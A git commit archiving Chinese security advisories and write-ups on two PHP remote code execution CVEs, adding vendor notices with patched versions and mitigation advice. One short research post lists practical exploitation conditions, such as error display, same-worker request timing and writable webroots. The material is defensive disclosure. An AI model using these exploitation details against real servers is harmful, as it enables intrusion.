正在获取URL...

chainreactors: 2 个URL
BruceFeIix: 10 个URL
Doonsec: 64 个URL
总共去重后: 74 个URL
【已复现】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619) 第一阶段研究、【已复现】php2shell-POC and EXP 2026.22日、已复现 | PHP 会话反序列化 RCE:从靶场搭建到命令执行、这个星期四太疯狂了!继PHP RCE又出现了node js,nginx ,Litellm都爆出有漏洞、【漏洞大逃杀】从昨夜PHP RCE到30余款组件安全事件复盘、【在野利用已发现】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告、已发现攻击,全球拉响警报!PHP重大漏洞引发多国紧急响应、【已复现】PHP 严重远程代码执行漏洞,官方紧急修复、已复现 | php2shell:PHP Core 远程代码执行漏洞(CVE-2026-109618∕109619)、什么?你是说我刚结束了一天疲惫的工作后,PHP RCE,Node.js、Litellm都跟着炸了?、
This commit is contained in:
test committed 2026-10-21 23:02:13 +00:00
1 parent 317180d7e7
commit 59d25dbc94
11 files changed
+2526 -1

No files matched your search

+11 -1
View File
@@ -27988,5 +27988,15 @@
"https://mp.weixin.qq.com/s/Lhca8u7oxQaevZVPYrhh4g": "【漏洞通告】PHP远程代码执行漏洞(CVE-2026-109618∕CVE-2026-109619)",
"https://mp.weixin.qq.com/s/-0HP6OhQqlgcWTur_R8TTw": "【安全圈】突发双高危RCE!PHP官方紧急发布9.2分安全通告",
"https://mp.weixin.qq.com/s/CpTXUIQDj-tBAEWMbJERTw": "【漏洞通告】Drupal Field UI远程代码执行漏洞(CVE-2026-108097)",
"https://mp.weixin.qq.com/s/zo_7E33PM4Wyh997zfGF7w": "【漏洞预警】ILIAS 9.22 零权限 RCE: 无需任何账号,四步写入 webshell"
"https://mp.weixin.qq.com/s/zo_7E33PM4Wyh997zfGF7w": "【漏洞预警】ILIAS 9.22 零权限 RCE: 无需任何账号,四步写入 webshell",
"https://mp.weixin.qq.com/s/BY1TD5XfUZ1JiIeSg_2OLQ": "【已复现】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619) 第一阶段研究",
"https://mp.weixin.qq.com/s/apYCnpb_shAYvaKacf-87Q": "【已复现】php2shell-POC and EXP 2026.22日",
"https://mp.weixin.qq.com/s/beadY8eQTJTUClNtsyVEUg": "已复现 | PHP 会话反序列化 RCE:从靶场搭建到命令执行",
"https://mp.weixin.qq.com/s/gBn3YngyRUq19mUA5uz-vg": "这个星期四太疯狂了!继PHP RCE又出现了node js,nginx ,Litellm都爆出有漏洞",
"https://mp.weixin.qq.com/s/HnrrTYd3mZ_MQB7CrvnyVw": "【漏洞大逃杀】从昨夜PHP RCE到30余款组件安全事件复盘",
"https://mp.weixin.qq.com/s/4AzLWUWXPi2413k2kKWOcw": "【在野利用已发现】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告",
"https://mp.weixin.qq.com/s/GwWgoC1VwCgAoK2-63fXHg": "已发现攻击,全球拉响警报!PHP重大漏洞引发多国紧急响应",
"https://mp.weixin.qq.com/s/X0ewkxXuJ5DfYU1N2Kt9jA": "【已复现】PHP 严重远程代码执行漏洞,官方紧急修复",
"https://mp.weixin.qq.com/s/QhY6TiCry24ipbjEkIF2vQ": "已复现 | php2shell:PHP Core 远程代码执行漏洞(CVE-2026-109618∕109619)",
"https://mp.weixin.qq.com/s/PFTOREzzzj8Fc0U2GV4C2g": "什么?你是说我刚结束了一天疲惫的工作后,PHP RCE,Node.js、Litellm都跟着炸了?"
}
@@ -0,0 +1,221 @@
# 【在野利用已发现】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)安全风险通告
奇安信 CERT 2026-10-21 17:50
● 
点击↑蓝字关注我们,获取更多安全风险通告
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td colspan="4" data-colwidth="136,157,166,98" valign="middle" align="center" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;background-color: rgb(70, 118, 217);visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1.5em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞概述</span></span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><br/></span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0px;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞名称</span></span></strong></span></p></td><td colspan="3" data-colwidth="157,166,98" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;caret-color: red;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">PHP 远程代码执行漏洞</span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: Line truncated
**0****1**
**漏洞详情**
**>**
**>**
**>**
**>**
**影响组件**
PHP 是一种广泛使用的开源服务器端脚本语言,主要运行于 Web 服务器端,支持 Apache mod_php、PHP-FPM(配合 Nginx、Apache mod_proxy_fcgi)、FrankenPHP、LiteSpeed LSAPI 等多种部署方式。W3Techs 统计显示,全球约四分之三的网站使用 PHP 作为服务器端编程语言,WordPress、Drupal、Joomla、MediaWiki、Magento、phpMyAdmin、Nextcloud、Laravel、Symfony、WHMCS 等主流应用均依赖 PHP。
**>**
**>**
**>**
**>**
**漏洞描述**
近日,奇安信CERT监测到官方修复
PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619),两个漏洞均与 PHP 请求生命周期边界上的状态管理缺陷有关:CVE-2026-109618 利用内存耗尽(OOM)时的 longjmp() 提前退出,使尚未完成初始化的请求内存在 request shutdown 阶段被错误消费;CVE-2026-109619 利用 worker 全局状态在请求结束后未正确重置,使后续请求在正常初始化之前访问已释放的请求内存。攻击者无需认证,通过构造恶意 HTTP 请求即可触发释放后重用(UAF),进而实现内存泄露和远程代码执行。
目前该漏洞PoC和技术细节已公开。
鉴于该漏洞已发现在野利用,建议客户尽快做好自查及防护。
**本次更新内容:**
**更新漏洞状态;**
**新增产线解决方案。**
**>**
**>**
**>**
**>**
**利用条件**
无需登录、无需用户交互、无需应用层漏洞;攻击面为可接收 HTTP 请求的 PHP 端点,包括静态站点中的简单 PHP 页面。
**02**
**影响范围**
**>**
**>**
**>**
**>**
**影响版本**
PHP < 8.2.35
PHP < 8.3.36
PHP < 8.4.27
PHP < 8.5.12
仍在维护的分支:
PHP 8.5、8.4、8.3 仍处于现行维护期,应优先升级到对应修复版本或更高版本。8.2.35 是当前可用的修复版本,也是 8.2 分支最后的升级时间窗口之一;建议尽快规划升级到 8.3 或更高版本。
已停止维护的分支:
PHP 8.1、8.0、7.4 及更早版本已停止官方支持,PHP 官方不再发布修复版本。
PHP ≤ 7.3 / 5.x 同样已停止维护,官方不提供修复版本,应优先升级。
**>**
**>**
**>**
**>**
**其他受影响组件**
以 PHP 为运行时的应用、框架与建站系统可能间接受影响,涉及 WordPress、MediaWiki、phpBB、Magento、Laravel、Symfony、Drupal 等,以及 mod_php、PHP-FPM(含 Docker PHP-FPM 镜像)等部署形态。
**03**
**复现情况**
目前,
奇安信CERT已成功复现
PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)
,截图如下:
![](https://mmbiz.qpic.cn/mmbiz_png/RwAbCjh555ueFtGwOHOSs1ezicTGK9Kib8UHkQq640iawUA5941ibB0ticuKrvFwL7lTveT0XY8JP7VK5CYBmrrm1XQXo5O51rJkzRwusicdWVhf4/640?wx_fmt=png&from=appmsg "")
**04**
**处置建议**
**>**
**>**
**>**
**>**
**安全更新**
官方已发布安全补丁,请及时更新至最新版本:
PHP 8.5.12
PHP 8.4.27
PHP 8.3.36
PHP 8.2.35
下载地址:
https://www.php.net/downloads.php
1. 升级后必须重启 Apache、PHP-FPM 及所有常驻 worker,确保旧进程不再处理请求;仅替换二进制而不重启进程不能消除风险。
2. 容器环境应重新构建镜像,避免沿用包含旧 PHP 的 layer;Kubernetes 环境应滚动重启所有 Pod,并确认没有旧 ReplicaSet 继续服务。
3. 发行版仓库(Ubuntu、Debian、RHEL、Alpine 等)和集成环境(宝塔、phpStudy、XAMPP、Docker 官方镜像等)可能存在同步延迟,请以 `php -v`、`php-fpm -v` 的实际输出为准,不要仅核对包管理器版本号。
4. PHP 8.1 及更早版本已停止支持,官方不再提供补丁,建议迁移至 PHP 8.2 或更高版本;若使用发行版长期支持分支,请以厂商 backport 公告为准。
5. 共享主机和虚拟主机用户应联系服务商确认 PHP 版本;多租户环境需确认所有租户实例均已升级。
注意:
不要使用 RLIMIT_AS 或 RLIMIT_DATA 作为缓解措施。这些限制会导致 mmap() 失败,从而触发 CVE-2026-109618 所依赖的 longjmp() 路径。
**>**
**>**
**>**
**>**
**产品解决方案**
**奇安信网神云锁服务器安全管理系统(椒图)检测方案**
奇安信网神云锁服务器安全管理系统(椒图)默认已有RCE规则支持检测,无需升级特征库。
**奇安信天眼检测方案**
奇安信天眼新一代安全感知系统已经能够有效检测针对该漏洞的攻击。规则ID及规则名称:
0x10022A87,PHP 远程代码执行漏洞(CVE-2026-109618/CVE-2026-109619)。15155版本覆盖,规则预计10-22号发布。奇安信天眼流量探针规则升级方法:系统配置->设备升级->规则升级,选择“网络升级”或“本地升级”。
**05**
**参考资料**
[1]
https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
[2]https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
[3]
https://calif.io/php2shell/#writeup
**06**
**时间线**
2026年10月21日,
漏洞公开披露:CVE 信息已公开,可据此核对受影响产品与版本并启动修复。
2026年10月22日,奇安信 CERT已复现该漏洞,
发布安全风险通告。
2026年10月22日,该漏洞已发现在野利用,
发布安全风险通告第二次更新。
**07**
**漏洞情报服务**
「
奇安信漏洞情报平台
」
重磅上线,诚邀您来体验:
![图片](https://mmbiz.qpic.cn/mmbiz_jpg/RwAbCjh555uu38PGZibHlQWicoZomZUKoCZNFKYy5kJbd8IVAZtrsge2qaHHtibsBVsA9G9HFgfqlibkFyXWwOdObVldv1RxkqmU1Q9JbZw4Mib0/640?wx_fmt=jpeg&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=2 "")
![图片](https://mmbiz.qpic.cn/mmbiz_png/3tG2LbK7WG3tezJEzJsicLSWCGsIggLbcfk4LB5WK7pdSwMksxPOAoHuibjQpBlEId4nyIIw52n2J8N8MowYZcjA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp#imgIndex=3 "")
![图片](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibpFEkqfMZfO3smS6RKd9BYBVaibvBq1vXprZIc191LXKibdiaApA16q3UgmibQDv4yW09qT88J3jRUfA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp#imgIndex=4 "CERT LOGO.png")
**奇安信 CERT**
**致力于**
第一时间为企业级用户提供**权威**
漏洞情报和**有效**
解决方案。
点击↓**阅读原文**
,到**ALPHA威胁分析平台**
订阅更多漏洞信息。
@@ -0,0 +1,127 @@
# 【已复现】PHP 严重远程代码执行漏洞,官方紧急修复
原创 360漏洞研究院
360漏洞研究院 360漏洞研究院 2026-10-21 19:38
PHP 官方发布紧急安全更新,修复两项严重远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619,CVSS 4.0:均为 9.2)。未经身份认证的远程攻击者在满足特定条件时,可利用 PHP 核心内存状态处理缺陷,在目标服务器上执行任意代码,可能造成网站被篡改、敏感信息泄露或服务器失陷。
目前 360 漏洞研究院已可稳定复现漏洞的崩溃;结合公开资料评估,目前来看
已公开的 
RCE 并不具备通用性
,相关 RCE 利用链仍在进一步分析验证中。
<table><tbody><tr style="box-sizing: border-box;"><td colspan="4" data-colwidth="100.0000%" width="100.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;background-color: rgb(100, 130, 228);box-sizing: border-box;padding: 0px;"><section style="text-align: center;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞概述</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞名称</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">PHP 远程代码执行漏洞</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞编号</span></strong></p></section></td><td colspan="3" data-colwidth="76.0000%" width="76.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">CVE-2026-109618</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">CVE-2026-109619</span></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">公开时间</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">2026-10-21</span></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="color: rgb(0, 0, 0);box-sizing: border-box;"><span leaf="">POC状态</span></span></strong></p></section></td><td data-colwidth="20.0000%" width="20.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;color: rgb(100, 130, 228);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">已公开</span></strong></p></section></td></tr><tr style="box-sizing: border-box;"><td data-colwidth="24.0000%" width="24.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;color: rgb(0, 0, 0);padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">漏洞类型</span></strong></p></section></td><td data-colwidth="28.0000%" width="28.0000%" style="border-width: 1px;border-color: rgb(100, 130, 228);border-style: solid;box-sizing: border-box;padding: 0px;"><section style="font-size: 12px;padding: 0px 8px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">远程代码执行</span></p></section></td><td data-colwidth="Line truncated
**01**
**漏洞影响范围**
受影响版本范围:
PHP 8.2 分支 < 8.2.35
PHP 8.3 分支 < 8.3.36
PHP 8.4 分支 < 8.4.27
PHP 8.5 分支 < 8.5.12
PHP 8.1 及更早版本同样可能受到影响,由于这些分支已停止官方常规安全维护,建议升级至受支持版本。
**02**
**修复建议**
**正式防护方案**
升级至对应分支的 PHP 版本或更高的已修复版本
PHP 8.2 分支 >= 8.2.35
PHP 8.3 分支 >= 8.3.36
PHP 8.4 分支 >= 8.4.27
PHP 8.5 分支 >= 8.5.12
**03**
**漏洞描述**
近日,PHP 官方披露了 PHP 核心中存在的两项远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619)。前者与内存不足时的异常中断有关:部分请求数据尚未完成初始化,执行流程即被中断,后续清理可能错误处理无效内存状态。后者涉及跨请求残留的全局状态:一个请求结束后,工作进程仍可能保存指向已释放内存的引用,后续请求在正常初始化之前读取该状态,从而触发释放后使用。研究人员已验证,在不同的部署和应用条件下,这些缺陷可能造成敏感内存泄露或以 Web 工作进程权限执行代码。
**04**
**漏洞复现**
360漏洞研究院已成功复现 CVE-2026-109618、CVE-2026-109619。造成内存损坏,工作进程 SIGSEGV 并产生 core dump。
![](https://mmbiz.qpic.cn/mmbiz_png/dZ7ia5iaWFzzicfqtlJTBzdeiaGVicPjMmfKcAC1Q2wXIicyR2mAR12NYguGjUrrpw58ldAJnpummXPVgc7DScEddUyW8hNPopr7nqMwkt5xBeXzs/640?wx_fmt=png&from=appmsg "")
CVE-2026-109618 CVE-2026-109619
PHP 远程代码执行漏洞复现
**05**
**时间线**
2026年10月22日,360漏洞研究院发布本安全风险通告。
**06**
参考链接
https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
07
更多漏洞情报
“扫描下方二维码,进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与!”
![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgrNicMticDTWVCUWbOwRuWcrYSpAlwDRibKNLbe3KialEfR0Y2PlPAvS4MN50asXETicAviaRy1gRicI2Dw/640?wx_fmt=gif&from=appmsg "")
建议您订阅360漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。
邮箱:360VRI@360.cn
网址:https://vi.loudongyun.360.net
“洞”悉网络威胁,守护数字安全
**关于我们**
360漏洞研究院,隶属于360安全能力中心。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”,并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个,收获诸多官方公开致谢。研究院也屡次受邀在BlackHat,Usenix Security,Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果,并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力,帮助各大企业厂商不断完善系统安全,为数字安全保驾护航,筑造数字时代的安全堡垒。
@@ -0,0 +1,47 @@
# 【已复现】PHP 远程代码执行漏洞(CVE-2026-109618、CVE-2026-109619) 第一阶段研究
源影安全团队 2026-10-21 17:27
近日 PHP 官方一口气发了两个高分漏洞的修复,合并编号 CVE-2026-109618 和 CVE-2026-109619,CVSS v4 打到 9.2。当天我们就在隔离环境里把复现做完了,这里先把能公开的部分写出来,技术细节后面单独开篇。
先说结论:这组洞在 PHP 引擎里,不在任何应用上。不管跑的是 WordPress、Drupal 还是自己写的页面,只要 PHP 版本在受影响列表里、按默认配置对外提供服务,就可能被打。我们在 8.4 和 8.2 两个分支的默认部署上,只发普通 HTTP 请求、不登录,完整走通了从打崩服务到执行命令的全过程。
漏洞的机理说穿了不复杂。PHP 内存用超的时候,会用一种比较粗暴的方式直接跳出当前执行流程,这一跳,把一些放到一半、还没来得及收拾的内部状态留在了原地。请求结束,PHP 照常把这块内存还给内存池,但全局位置上还记着老地址。下一个请求进来,正好走到要读这个老地址的地方,读到的就是别的数据——运气差一点进程崩溃,内存布局被精心安排过,就能变成信息泄露,再往前一步就是执行任意命令。
整个过程不需要登录,也不要求页面调用任何特定函数。我们专门用一行输出的空白页当靶子,链路照样成立。也就是说这是引擎层的问题,业务代码怎么写都躲不开,只能升级,或者按官方建议调配置。
受影响范围官方公告写得很全:8.5.11 及以下、8.4.26 及以下、8.3.35 及以下、8.2.34 及以下,再往前的维护分支也给了源码修正。部署形态上,Apache 自带模块方式和最常见的 php-fpm 加 Nginx 反代,默认参数就中招,两种我们都搭了环境。
![](https://mmbiz.qpic.cn/mmbiz_png/gRYowTXTvLEIVgs6gvhn3Dp7gpG5eSOVyXNs0jZY7BBGWtXfKL07KlPG22UynFxiceBmibWUSJTHwgY3Rc5OLVPuDmXibn5HfvE3gaM8554xCA/640?wx_fmt=png&from=appmsg "")
目前已知的限制:
1. 需 display_errors=On:第一步“泄露内存布局”的触发路径依赖它,Off 时 地址泄露
暂
未打通
2. 仅 mod_php 验证过;php-fpm 是另一条利用变体,暂未完成
3. 利用代码里写死了 PHP 内部函数的内存地址偏移和堆填充参数,不同版本、不同编译的这些值都不一样;换版本或改 memory_limit,必须重新测一遍才能用
4. 利用需连发两个请求且由同一个 
apache
子进程
处理;worker 越多两次请求
   落到同进程的概率越低,要多试几次
5. 已升级(8.5.12/8.4.27/8.3.36/8.2.35)或 memory_limit=-1 的资产基本无收益
6. 命令结果回显依赖目标 webroot 可写,否则只能盲打
参考:
https://www.php.net/archive/2026.php[#2026]()
-10-20-1
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,490 @@
# 【漏洞大逃杀】从昨夜PHP RCE到30余款组件安全事件复盘
原创 星宇Sec
星宇Sec 星宇Sec 2026-10-21 19:16
> 2026年10月21日,多个主流技术栈在短时间内集中发布安全公告。PHP与Node.js出现需要立即处置的运行时漏洞,eMudhra的弱私钥问题触发了跨浏览器、操作系统、语言运行时的撤信更新,LiteLLM1.107.0则被植入凭据窃取器和远程代码加载器。
>  社交平台随后混入了大量历史CVE,其中不少问题早在一月至九月就已披露,但仍被很多人误认为昨天集中爆出。
**信息截止:2026年10月22日。本文依据厂商公告、CVE记录、项目安全公告和公开技术分析整理。**
## 总览
<table><thead><tr><th data-colwidth="135" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">部件</span></section></th><th data-colwidth="252" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">核心问题</span></section></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><section><span leaf="">时间属性</span></section></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="135" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">PHP</span></section></td><td data-colwidth="252" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">两个CVSS9.2未认证RCE,另有2026年5月披露的整数溢出与PHP-FPMXSS</span></section></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><section><span leaf="">10月21日新事件</span></section></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="135" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 